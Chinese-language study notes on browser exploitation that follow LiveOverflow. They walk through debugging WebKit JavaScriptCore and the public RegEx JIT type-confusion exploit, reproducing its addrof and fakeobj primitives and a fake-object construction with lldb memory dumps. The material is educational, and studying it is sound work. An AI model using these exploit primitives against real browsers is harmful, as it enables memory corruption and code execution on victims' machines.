记录一下浏览器pwn的学习笔记。资源是liveoverflow的视频。

Setup and Debug JSCore

Try exp

提到了:https://github.com/LinusHenze/WebKit-RegEx-Exploit

克隆下来,开php服务,websocket服务(需要先安装ws:sudo npm install ws):

1
2
3
4
5
6
7
8
9
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port:5000 });

wss.on('connection', function connections(ws) {
ws.on('message', function incoming(message) {
console.log('received: %s', message);
});
});

成功触发:

image-20190907224013419

Setup debugging env

lo提到通过抓包来查看版本是不明智的选择。推荐的做法:

在这:

1
git clone git://git.webkit.org/WebKit.git WebKit.git

感谢远志和强港的帮助,把这个大玩意拽下来了…🙏一开始看到的目录这样的:

1
2
HEAD        config      hooks       objects     refs
branches description info packed-refs

远志继续执导:

WechatIMG119

恢复之后还涉及到checkout到指定tag的问题:https://trac.webkit.org/wiki/UsingGitWithWebKit

之后直接checkout到指定版本:

1
git checkout 3af5ce129e6636350a887d01237a65c2fce77823

现在需要build这个版本,需要xcode,所以配置要正确,参考https://stackoverflow.com/questions/17980759/xcode-select-active-developer-directory-error。根据视频xcode安装10.1的版本,然后设置一下路径。

出现错误:

1
Can't exec "cmake": No such file or directory at /Users/wgn/CTF/browser/WebKit/Tools/Scripts/webkitdirs.pm line 385.

brew安装一下cmake就好了。

之后编译:

1
Tools/Scripts/build-webkit --jsc-only --debug

然后就可以运行了:

1
2
3
4
5
6
7
╭─wgn@Keenan ~/CTF/browser/WebKit  ‹3af5ce129e6›
╰─$ ./WebKitBuild/Debug/bin/jsc 130 ↵
>>> 1+1
2
>>> describe([1,2,{}])
Object: 0x10d1b4340 with butterfly 0x10000fe6a8 (Structure 0x10d1f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x10d1c80a0]), StructureID: 99
>>>

lldb可以比较方便的调试内存。和gdb差不多。直接lldb jsc会报一个python错,设置一下别名:

1
alias lldb='PATH="/usr/bin:$PATH" lldb'

mac用户需要写到bash_profile里面再source一下要不会失效。

lldb的指令:

  • 运行:run
  • 查看内存:x/8gx addr

在查看[1,2,3,4]内存时,可以看到1,2,3,4,但是高地址有0xffff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
╭─wgn@Keenan ~/CTF/browser/WebKit  ‹3af5ce129e6›
╰─$ lldb ./WebKitBuild/Debug/bin/jsc
(lldb) target create "./WebKitBuild/Debug/bin/jsc"
Current executable set to './WebKitBuild/Debug/bin/jsc' (x86_64).
(lldb) run
Process 17553 launched: './WebKitBuild/Debug/bin/jsc' (x86_64)
>>> a=[1,2,3,4]
1,2,3,4
>>> describe(a)
Object: 0x107eb4340 with butterfly 0x10000e4008 (Structure 0x107ef2a00:[Array, {}, ArrayWithInt32, Proto:0x107ec80a0, Leaf]), StructureID: 97
>>> Process 17553 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5fc458a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff5fc458a6 <+10>: jae 0x7fff5fc458b0 ; <+20>
0x7fff5fc458a8 <+12>: movq %rax, %rdi
0x7fff5fc458ab <+15>: jmp 0x7fff5fc43e31 ; cerror
0x7fff5fc458b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/8gx 0x107eb4340
0x107eb4340: 0x0108210500000061 0x00000010000e4008 # 这一行称为JSCell Header
0x107eb4350: 0x00000000badbeef0 0x00000000badbeef0
0x107eb4360: 0x00000000badbeef0 0x00000000badbeef0
0x107eb4370: 0x00000000badbeef0 0x00000000badbeef0
(lldb) x/40gx 0x10000e4008
0x10000e4008: 0xffff000000000001 0xffff000000000002 <= 我们数组存的位置
0x10000e4018: 0xffff000000000003 0xffff000000000004
0x10000e4028: 0x0000000000000000 0x00000000badbeef0
0x10000e4038: 0x00000000badbeef0 0x00000000badbeef0
0x10000e4048: 0x00000000badbeef0 0x00000000badbeef0
  • 用b下断点,tab自动补全:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(lldb) b JSC::mathProtoFuncMax(JSC::ExecState*)
Breakpoint 1: where = JavaScriptCore`JSC::mathProtoFuncMax(JSC::ExecState*) + 15 at MathObject.cpp:227, address = 0x000000010164f9df
(lldb) c
Process 17553 resuming

undefined
>>> Math.max(13,37)
Process 17553 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x000000010164f9df JavaScriptCore`JSC::mathProtoFuncMax(exec=0x00007ffeefbfd670) at MathObject.cpp:227
224
225 EncodedJSValue JSC_HOST_CALL mathProtoFuncMax(ExecState* exec)
226 {
-> 227 VM& vm = exec->vm();
228 auto scope = DECLARE_THROW_SCOPE(vm);
229 unsigned argsCount = exec->argumentCount();
230 double result = -std::numeric_limits<double>::infinity();
Target 0: (jsc) stopped.

继续用n单步调试。用p可以直接打印变量名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(lldb)
Process 17553 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
frame #0: 0x000000010164fc05 JavaScriptCore`JSC::mathProtoFuncMax(exec=0x00007ffeefbfd670) at MathObject.cpp:237
234 if (std::isnan(val)) {
235 result = PNaN;
236 } else if (val > result || (!val && !result && !std::signbit(val)))
-> 237 result = val;
238 }
239 return JSValue::encode(jsNumber(result));
240 }
Target 0: (jsc) stopped.
(lldb) p val
(double) $1 = 13
(lldb) p result
(double) $2 = -Inf

The Butterfly of JSObject

之前说的0xffff涉及到jsc里面的数据类型(64位):

  • 指针(pointer):0000:PPPP:PPPP:PPPP
  • 整数(integer):FFFF:0000:IIII:IIII 32位有符号整数
  • false:0x06, true:0x07, undefined:0x0a, null:0x02
  • 有时候数组内其他元素的类型会影响到元素的类型
  • 内存中显示0xbadbeef0是方便调试的,当0处理

describe的时候显示的butterfly:其实指向的是内存的中点。如图:

image-20190908235618585

如果a是一个对象的话,没有butterfly,为0。超过6个属性的时候会有butterfly。jsc是通过structure id来记录属性的。加入属性的时候structure id会更新。

查看对象的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
>>> describe(a)
Object: 0x1088b4340 with butterfly 0x8000e0028 (Structure 0x1088703f0:[Array, {b:100, c:101, d:102}, ArrayWithUndecided, Proto:0x1088c80a0, Leaf]), StructureID: 296
>>> Process 17765 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5fc458a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff5fc458a6 <+10>: jae 0x7fff5fc458b0 ; <+20>
0x7fff5fc458a8 <+12>: movq %rax, %rdi
0x7fff5fc458ab <+15>: jmp 0x7fff5fc43e31 ; cerror
0x7fff5fc458b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) p *(JSC::JSObject*)(0x1088b4340)
(JSC::JSObject) $2 = {
JSC::JSCell = {
m_structureID = 296
m_indexingTypeAndMisc = '\x03'
m_type = ArrayType
m_flags = '\b'
m_cellState = DefinitelyWhite
}
m_butterfly = (m_value = 0x00000008000e0028)
}

大致的数据结构:object的地址指向的内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> a = [13.37, 13.37, 13.37]
13.37,13.37,13.37
>>> describe(a)
Object: 0x1089b4350 with butterfly 0x10000e4038 (Structure 0x1089f2a70:[Array, {}, ArrayWithDouble, Proto:0x1089c80a0, Leaf]), StructureID: 98
>>> Process 20268 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5fc458a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff5fc458a6 <+10>: jae 0x7fff5fc458b0 ; <+20>
0x7fff5fc458a8 <+12>: movq %rax, %rdi
0x7fff5fc458ab <+15>: jmp 0x7fff5fc43e31 ; cerror
0x7fff5fc458b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/20gx 0x1089b4350
0x1089b4350: 0x0108210700000062 0x00000010000e4038
# 标志位(4字节)+structure id(4字节)+ butterfly(8字节)
0x1089b4360: 0x00000000badbeef0 0x00000000badbeef0

然后butterfly再指向中间。

Just-in-time Compiler in JavaScriptCore

JIT

jit编译器的编译和运行的过程:

  • 编译js字节码,js字节码是vm运行的
  • 经过编译,变成机器码。

JSC分为4层:

  • 1: the LLInt interpreter(第一次调用)
  • 2: the Baseline JIT compiler(经常被调用,如超过100次)
  • 3: the DFG JIT(DFG=Data Flow Graph,更多被调用,例如1000次)
  • 4: the FTL JIT(FTL=Faster Than Light,)

当一个函数经常被调用,称为hot的(热点函数?),就会被tier 2的来处理。以此类推。可以通过设置env来禁止某种优化方式。

attack idea

如果jit猜测并假设了代码中的数据类型,并删去了检查,例如直接从内存中拷贝数据,这是否可以被利用?

具体的例子,jit认为一个数组里面都是float,并直接通过偏移拷贝数据,如果有办法将一个浮点型改为对象,jit并没有检查是不是浮点型,所以直接返回了对象指针。

jit的防御措施:如果一个函数可以改变数组布局,例如把一个object加到double array中,就认为是危险的。之后的攻击就是基于这个想法的。

Exploit addrof() walk-through

主要内容:

1
2
3
4
5
<script src="ready.js"></script>
<script src="logging.js"></script>
<script src="utils.js"></script>
<script src="int64.js"></script>
<script src="pwn.js"></script>

从pwn.js开始学习。exp很长,最终的目的是任意代码执行。现确定一下利用的是什么漏洞。

addrof()

1
2
object = {}
print(addrof(object))
1
2
3
╭─wgn@Keenan ~/CTF/browser/WebKit/WebKitBuild/Debug/bin  ‹3af5ce129e6›
╰─$ ./jsc ~/CTF/browser/WebKit-RegEx-Exploit/test.js
2.1736404966e-314

这两个函数:addrof和addrofInternal可以通过某种方式泄露对象的地址。代码并不是百分百成功,如果当第一个元素13.37还是13.37就会重试,说明预期是不是13.37,会被修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
//
// addrof primitive
//
function addrofInternal(val) {
var array = [13.37];
var reg = /abc/y;
/*
# 这里的正则表达式使用了y修饰符。y修饰符的功能为正则表达式必须从lastIndex规定的位置开始进行匹配。
# 也就是说,如果开始匹配的位置不是从lastIndex规定位置开始,匹配失败,不再继续尝试。
# lastIndex是正则表达式的属性,表示正则匹配开始的位置
# 参考:http://www.softwhy.com/article-9165-1.html
*/

// Target function
var AddrGetter = function(array) {
reg[Symbol.match](); // # 进行一次正则匹配,之后返回数组的第一个元素。这段代码是JIT优化的。
return array[0];
// # JIT认为这是一个double的数组,所以不会检查元素是不是double就直接返回了。
}

// Force optimization
/*
这段原本的代码是:
var AddrGetter = function(array) {
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
# jsc有一种优化叫inlining。当函数比较复杂就不会使用这种优化。
# 之后这个函数被大量调用,强迫JIT进行优化。

array = getarray();
reg[Symbol.match](val === null);
# symbol.match
# 参考https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/match
# 功能就是调用正则表达式的匹配函数(match)
# 相当于"abc".match(reg);
return array[0];
# 由于这里返回array[0],使得JIT默认就是double array,所以不会再检查。
}
*/
for (var i = 0; i < 100000; ++i) // # 根据视频这里改成10000就够用了,到DFG优化即可。
AddrGetter(array);

// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val; // # 把第一个元素改成了object
return "0";
};
reg.lastIndex = regexLastIndex;
/*
# 首先regrexLastIndex是一个对象。这里将一个对象赋值给正则表达式的lastIndex,类型不匹配
# 所以就调用了regrexLastIndex的toString方法。使得array数组的第一个元素被改为参数val
# 而传入的参数是对象,达到了在double array中插入object的效果。
*/

// Do it!
return AddrGetter(array);
/*
# 这里又一次调用了JIT优化后的函数。由于是y修饰符的正则,需要lastIndex,所以调用了toString。
# 由于JIT代码认为array并没有被修改,依旧把第一个元素当作double类型返回。
# 而其实此时第一个元素已经被修改为我们的对象指针了。
*/
}

// Need to wrap addrof in this wrapper because it sometimes fails (don't know why, but this works)
function addrof(val) {
for (var i = 0; i < 100; i++) {
var result = addrofInternal(val);
if (typeof result != "object" && result !== 13.37){
return result;
}
}

print("[-] Addrof didn't work. Prepare for WebContent to crash or other strange stuff to happen...");
throw "See above";
}
// # 根据视频这段其实没有用。优化只要达到DFG即可。可以直接调用addrofInternal。

object = {}
print(addrof(object)) // # 打印出对象的指针(实际地址)。结果是一个double。

读源码可以看到处理过程:判断是否存在副作用(side effects)。如果存在,则调用matchSlow。如果没有的话则用regMatchFast。

在官方的patch中加入了lastIndex是不是number的类型检查。上面的exp过不了检查,就会进入到matchSlow的分支。

Address Leak => Memory Corruption

exp主要的两个函数,一个是addrof,一个是fakeobj。

  • addrof:将object插入到double array,object的指针被当作double读出。
  • fakeobj:将object插入到double array中,array[0]写入object的指针,JIT认为依旧是double array,之后将我们输入的double写入到array[0]将原来的覆盖,这样插入的object的地址就被我们所控。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function fakeobj(dbl) {
var array = [13.37];
var reg = /abc/y;

// Target function
var AddrSetter = function(array) {
"abc".match(reg);
array[0] = dbl;
}

// Force optimization
for (var i = 0; i < 10000; ++i)
AddrSetter(array);

// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;

// Do it!
AddrSetter(array);
return array[0];
}

简单的测试一下:

1
2
3
4
5
6
7
8
9
fake = {}
fake.x = 1
fake.y = 2
fake.z = 3

>>> addrof(fake)
2.193326981e-314
>>> hex = fakeobj(2.193326981e-314)
[object Object]

调试tips:run -i test.js 运行脚本并继续有交互的输入输出(”>>>”)

如何控制指针指向的内容是object呢?通过partial write的思想,我们获取一个object的地址之后,用该地址+0x10的地址作为fake obj的地址。这段内存我们可以通过原来object的内容来控制(如double array存储的值)。

例obj(就是一个{}。不是数组或者其他。):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
>>> test = {}
[object Object]
>>> test.x=1
1
>>> describe(test)
Object: 0x1088b00c0 with butterfly 0x0 (Structure 0x1088703f0:[Object, {x:0}, NonArray, Proto:0x1088b4000, Leaf]), StructureID: 296
>>> Process 1676 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20>
0x7fff7a7d28a8 <+12>: movq %rax, %rdi
0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror
0x7fff7a7d28b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/20gx 0x1088b00c0
0x1088b00c0: 0x0100160000000128 0x0000000000000000 # JSCell Header:flags+id+butterfly
0x1088b00d0: 0xffff000000000001 0x0000000000000000 # properties

用到的特点:一个单纯的对象,设置其属性,属性存储的位置就在JSCell Header下方,而不是butterfly指向的位置。

fake obj:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
>>> fake = {}
[object Object]
>>> fake.x=1
1
>>> fake.y=2
2
>>> fake.z=3
3
>>> describe(fake)
Object: 0x1088b0100 with butterfly 0x0 (Structure 0x108870620:[Object, {x:0, y:1, z:2}, NonArray, Proto:0x1088b4000, Leaf]), StructureID: 301
>>> Process 1676 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20>
0x7fff7a7d28a8 <+12>: movq %rax, %rdi
0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror
0x7fff7a7d28b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/8gx 0x1088b0100
0x1088b0100: 0x010016000000012d 0x0000000000000000
0x1088b0110: 0xffff000000000001 0xffff000000000002 # 从此构造一个假的obj
0x1088b0120: 0xffff000000000003 0x0000000000000000
0x1088b0130: 0x0000000000000000 0x0000000000000000

其中0x1088b0100是fake的地址,如果我们传入的是0x1088b0100+0x10,从这个地址开始的内存都是我们可控的,如果格式正确我们就构造了一个fake obj。

那么具体需要布置哪些值呢?

  • JSCell(flags + structure id)
  • butterfly
  • fake obj存储的值

重点在于前两个。

fake JSCell Header

test object作为我们伪造的模本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>>> test = {}
[object Object]
>>> test.x=1
1
>>> describe(test)
Object: 0x1089b0100 with butterfly 0x0 (Structure 0x108970310:[Object, {x:0}, NonArray, Proto:0x1089b4000]), StructureID: 294
>>> Process 1794 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20>
0x7fff7a7d28a8 <+12>: movq %rax, %rdi
0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror
0x7fff7a7d28b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/8gx 0x1089b0100
0x1089b0100: 0x0100160000000126 0x0000000000000000
0x1089b0110: 0xffff000000000001 0x0000000000000000
0x1089b0120: 0x0000000000000000 0x0000000000000000
0x1089b0130: 0x0000000000000000 0x0000000000000000
  • 怎么构造0x0100160000000126?

当一个obj更新时,其strcuture id也会+1。

这样我们可以一次创建多个obejct,并更改他们的属性,强制structure id+1。这样最后一个object的id会很大(如4096)。这样我们随便选一个数作为id,都会有一个object和它对应。至于flags直接照搬就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> for(var i=0; i<0x1000; i++) {
... test = {}
... test.x = 1
... test['prop_'+i] = 2
... }
2
>>> describe(test)
Object: 0x10a8ed500 with butterfly 0x0 (Structure 0x10a8f2d80:[Object, {x:0, prop_4095:1}, NonArray, Proto:0x1089b4000, Leaf]), StructureID: 4395
(lldb) x/8gx 0x10a8ed500
0x10a8ed500: 0x010016000000112b 0x0000000000000000
0x10a8ed510: 0xffff000000000001 0xffff000000000002
0x10a8ed520: 0x0000000000000000 0x0000000000000000
0x10a8ed530: 0x0000000000000000 0x0000000000000000

我们选择伪造0x0100160000001000。

1
2
>>> struct.unpack("d", struct.pack("Q", 0x0100160000001000))
(7.330283319472755e-304,)

但是用完之后发现差了点:

1
2
3
(lldb) x/8gx 0x10a8ed580
0x10a8ed580: 0x0100160000000126 <= 正常的
0x10a8ed590: 0x0101160000001000 <= 我们构造的,多0x1000000000000

减一下就好了。

1
2
>>> struct.unpack("d", struct.pack("Q", 0x0100160000001000-0x1000000000000))
(7.082855106403439e-304,)

至于为什么差这2^48,之后会提及。

ok~

1
2
3
(lldb) x/8gx 0x10a8ed580
0x10a8ed580: 0x0100160000000126 0x0000000000000000
0x10a8ed590: 0x0100160000001000 0x0000000000000000

以上作为fake.a。

fake butterfly=0

我们想要fake的obj的butterfly要为0(为啥?)作为fake.b,但是根据之前的数据格式,如果我们输入整数,最高位0xffff,就算是null也是0x02也不是0。

方法:现创建一个属性,之后delete掉,那个位置就变成0了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>>> p.b = 1
1
>>> describe(p)
Object: 0x10a8ed580 with butterfly 0x0 (Structure 0x10a8f2df0:[Object, {x:0, b:1}, NonArray, Proto:0x1089b4000, Leaf]), StructureID: 4396
>>> Process 1794 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20>
0x7fff7a7d28a8 <+12>: movq %rax, %rdi
0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror
0x7fff7a7d28b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/4gx 0x10a8ed580
0x10a8ed580: 0x010016000000112c 0x0000000000000000
0x10a8ed590: 0x0100160000001000 0xffff000000000001 <= 此时构造的值不为0
(lldb) c
Process 1794 resuming

undefined
>>> delete p.b
true
>>> Process 1794 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20>
0x7fff7a7d28a8 <+12>: movq %rax, %rdi
0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror
0x7fff7a7d28b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/4gx 0x10a8ed580
0x10a8ed580: 0x010016000000112d 0x0000000000000000
0x10a8ed590: 0x0100160000001000 0x0000000000000000 <= 构造出了为0的butterfly!

当然,后续如果需要构造一个fake butterfly指向别处也是可以的。

现在:

1
2
3
4
5
6
7
// run -i ~/CTF/browser/WebKit-RegEx-Exploit/test.js
fake = {}
fake.a = 7.082855106403439e-304 // 0x0100160000001000
fake.b = 2
fake.c = 1337
delete fake.b // butterfly = 0
print(addrof(fake))

得到fake的地址为2.192495749e-314。内存:

1
2
3
4
5
6
(lldb) x/10gx 0x108815480
0x108815480: 0x010016000000112a 0x0000000000000000
0x108815490: 0x0100160000001000 0x0000000000000000
0x1088154a0: 0xffff000000000539 0x0000000000000000
0x1088154b0: 0x0000000000000000 0x0000000000000000
0x1088154c0: 0x00000000badbeef0 0x00000000badbeef0

试一下传入0x108815490作为构造的obj:

1
2
>>> struct.unpack("d", struct.pack("Q", 0x108815490))
(2.192495757e-314,)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
>>> hex = fakeobj(2.192495757e-314)
[object Object]
>>> hex.x
1337
>>> describe(hex)
Object: 0x108815490 with butterfly 0x0 (Structure 0x10882a7d0:[Object, {x:0, prop_3801:1}, NonArray, Proto:0x1085b4000, Leaf]), StructureID: 4096
>>> Process 2210 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20>
0x7fff7a7d28a8 <+12>: movq %rax, %rdi
0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror
0x7fff7a7d28b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/8gx 0x108815490
0x108815490: 0x0100160000001000 0x0000000000000000
0x1088154a0: 0xffff000000000539 0x0000000000000000

成功识别为object!并且能够正常使用属性!并且通过fake来设置hex的属性也是可以的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> fake.c = "Keenan"
Keenan
>>> hex.x
Keenan
>>> Process 2210 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
-> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20>
0x7fff7a7d28a8 <+12>: movq %rax, %rdi
0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror
0x7fff7a7d28b0 <+20>: retq
Target 0: (jsc) stopped.
(lldb) x/8gx 0x108815490
0x108815490: 0x0100160000001000 0x0000000000000000
0x1088154a0: 0x000000010880ca60 0x0000000000000000

下一阶段的问题:

  • 我们要构造什么样的obj?
  • 如何达到代码执行?

Revisiting JavaScriptCore Internals

Boxed and Unboxed

首先解释为啥之前那个double值差了2^48。如果我们直接创建一个double array,里面存储的值似乎都是正确的一一对应的值。

1
2
3
4
5
6
7
8
>>> a = [1.23, 2.34, 3.45, 4.56]
1.23,2.34,3.45,4.56
>>> describe(a)
Object: 0x1088b4340 with butterfly 0x8000e4008 (Structure 0x1088f2a70:[Array, {}, ArrayWithDouble, Proto:0x1088c80a0, Leaf]), StructureID: 98

(lldb) x/4gx 0x8000e4008
0x8000e4008: 0x3ff3ae147ae147ae 0x4002b851eb851eb8 <= 存储的normal double (Boxed)
0x8000e4018: 0x400b99999999999a 0x40123d70a3d70a3d

并且此时是ArrayWithDouble的类型。但是当我们push一个对象之后:

1
2
3
4
5
6
7
8
>>> a.push({})
5
>>> describe(a)
Object: 0x1088b4340 with butterfly 0x8000e4008 (Structure 0x1088f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x1088c80a0]), StructureID: 99

(lldb) x/4gx 0x8000e4008
0x8000e4008: 0x3ff4ae147ae147ae 0x4003b851eb851eb8 <= 修改后的double (Boxed)
0x8000e4018: 0x400c99999999999a 0x40133d70a3d70a3d

可以看到类型变成了ArrayWithContiguous,并且值都加了0x1.0000.0000.0000。

Normal double称为unboxed,修改之后称为boxed。只有当存储的值是JSValue才会发生!

指针,整数,浮点数都可以通过JSValue来存储。

之后在处理JAValue类型的值的时候需要注意这一点。

Double to Integer Conversion

工具:int64.js和utils.js

主要原理:设置一个buf,创建Uint32Array和Float64Array的数组公用这个buf,可以方便的取高位取低位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);

fake = {}
fake.a = 7.082855106403439e-304 // 0x0100160000001000
fake.b = 2
fake.c = 1337
delete fake.b // butterfly = 0

fake_addr = addrof(fake)
f64[0] = fake_addr
u32[0] += 0x10
/*
0x12345678 30000000 0x00000000 00000000
f64[0] = 0x1234567830000000
u32[1] = 0x12345678 u32[0]=0x300000000 (+0x10 -> faked object)
*/
hax_addr = f64[0] // faked object
hax = fakeobj(hax_addr)
1
2
3
4
5
6
7
>>> hax.x
1337
>>> describe(fake)
Object: 0x108c11480 with butterfly 0x0 (Structure 0x108c1b640:[Object, {a:0, c:2}, NonArray, Proto:0x1088b4000, UncacheableDictionary, Leaf]), StructureID: 4415
>>> describe(hax)
Object: 0x108c11490 with butterfly 0x0 (Structure 0x108c2a7d0:[Object, {x:0, prop_3780:1}, NonArray, Proto:0x1088b4000, Leaf]), StructureID: 4096
>>>

Bad butterfly

下面尝试用一个错误的butterfly来触发error。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
for (var i = 0; i < 0x1000; i++) {
test = [] // <====== 这里改成创建array
test.x = 1
test['prop_'+i] = 2
}

// run -i ~/CTF/browser/WebKit-RegEx-Exploit/test.js

buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);

fake = {}
// fake.a = 7.082855106403439e-304 // 0x0100160000001000
// 0x0108210300000060
u32[0] = 0x00001000 // id
u32[1] = 0x01082103 // flags
fake.a = f64[0]
u32[0] = 0x41414141
u32[1] = 0x42424242 // butterfly = 0x4242424241414141
fake.b = f64[0]

// fake.b = 2
fake.c = 1337
// delete fake.b // butterfly = 0

fake_addr = addrof(fake)
f64[0] = fake_addr
u32[0] += 0x10
/*
0x12345678 30000000 0x00000000 00000000
f64[0] = 0x1234567830000000
u32[1] = 0x12345678 u32[0]=0x300000000 (+0x10 -> faked object)
*/
hax_addr = f64[0] // faked object
hax = fakeobj(hax_addr)
print(hax.length) // <=== 这步会使用butterfly来找length

触发错误:EXC_BAD_ACCESS,this=0x4243424241414139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(lldb) run -i ~/CTF/browser/WebKit-RegEx-Exploit/test.js
There is a running process, kill it and restart?: [Y/n] Y
Process 4548 exited with status = 9 (0x00000009)
Process 4591 launched: './jsc' (x86_64)
Process 4591 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x0000000100034e7c jsc`JSC::IndexingHeader::publicLength(this=0x4243424241414139) const at IndexingHeader.h:64
61 u.lengths.vectorLength = length;
62 }
63
-> 64 uint32_t publicLength() const { return u.lengths.publicLength; }
65 void setPublicLength(uint32_t auxWord) { u.lengths.publicLength = auxWord; }
66
67 ArrayBuffer* arrayBuffer() { return u.typedArray.buffer; }
Target 0: (jsc) stopped.

直接用jsc运行会报错:segmentation fault

1
2
3
╭─wgn@Keenan ~/CTF/browser/WebKit/WebKitBuild/Debug/bin  ‹3af5ce129e6›
╰─$ ./jsc ~/CTF/browser/WebKit-RegEx-Exploit/test.js
[1] 4612 segmentation fault ./jsc ~/CTF/browser/WebKit-RegEx-Exploit/test.js

视频中涉及的报错追踪,参考:https://webkit.org/blog/6411/

1
2
3
$ cd webkitDir
$ ./Tools/Scripts/set-webkit-configuration --asan (可以改成只变异jsc only,惨惨的我忘了,编译了半个小时)
$ ./Tools/Scripts/build-webkit --debug

emmm编译完倒也是编译成功,但是没有出现视频中的效果,想着再编译一次结果原来编译的jsc不能用了??貌似是链接的时候符号丢了…

1
2
3
4
5
6
╭─wgn@Keenan ~/CTF/browser/WebKit/WebKitBuild/Debug/bin  ‹3af5ce129e6*›
╰─$ ./jsc
dyld: Library not loaded: @rpath/JavaScriptCore.framework/Versions/1.0.0/JavaScriptCore
Referenced from: /Users/wgn/CTF/browser/WebKit/WebKitBuild/Debug/bin/./jsc
Reason: image not found
[1] 13834 abort ./jsc

